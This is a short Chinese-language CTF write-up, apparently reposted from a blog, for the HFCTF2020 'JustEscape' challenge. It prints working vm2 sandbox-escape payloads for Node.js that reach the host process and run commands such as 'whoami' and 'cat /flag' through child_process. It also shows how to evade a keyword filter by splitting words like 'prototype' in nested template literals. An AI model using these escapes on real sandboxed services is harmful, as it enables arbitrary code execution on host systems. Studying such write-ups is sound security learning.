[HFCTF2020]JustEscape vm沙箱逃逸

[HFCTF2020]JustEscape
先用Error().stack测试一下,确定是vm.js
这个老哥写的沙箱逃逸https://github.com/patriksimek/vm2/issues/225
在这里插入图片描述

"use strict";
const {
    
    VM} = require('vm2');
const untrusted = '(' + function(){
    
    
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
    
    
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
    
    
		return e.get_process(()=>{
    
    }).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
    
    
	console.log(new VM().run(untrusted));
}catch(x){
    
    
	console.log(x);
}

对于网站过滤的关键字,比如prototype,可以

[`${
    
    `${
    
    `prototyp`}e`}`]

也可以

[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`]
(function (){
    
    
    TypeError[`${
    
    `${
    
    `prototyp`}e`}`][`${
    
    `${
    
    `get_pro`}cess`}`] = f=>f[`${
    
    `${
    
    `constructo`}r`}`](`${
    
    `${
    
    `return proc`}ess`}`)();
    try{
    
    
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
    
    
        return e[`${
    
    `${
    
    `get_pro`}cess`}`](()=>{
    
    }).mainModule[`${
    
    `${
    
    `requir`}e`}`](`${
    
    `${
    
    `child_proces`}s`}`)[`${
    
    `${
    
    `exe`}cSync`}`](`cat /flag`).toString();
    }
})()

在这里插入图片描述
这个老哥的另外一个绕过我也试了,但是会报错TypeError: e is not a function

(function(){
    
    
	try{
    
    
		Buffer.from(new Proxy({
    
    }, {
    
    
			getOwnPropertyDescriptor(){
    
    
				throw f=f[`${
    
    `${
    
    `constructo`}r`}`](`${
    
    `${
    
    `return proc`}ess`}`)();
			}
		}));
	}catch(e){
    
    
		return e(()=>{
    
    }).mainModule[`${
    
    `${
    
    `requir`}e`}`](`${
    
    `${
    
    `child_proces`}s`}`)[`${
    
    `${
    
    `exe`}cSync`}`](`cat /flag`).toString();
	}
})()

猜你喜欢

转载自blog.csdn.net/scrawman/article/details/121606393
vm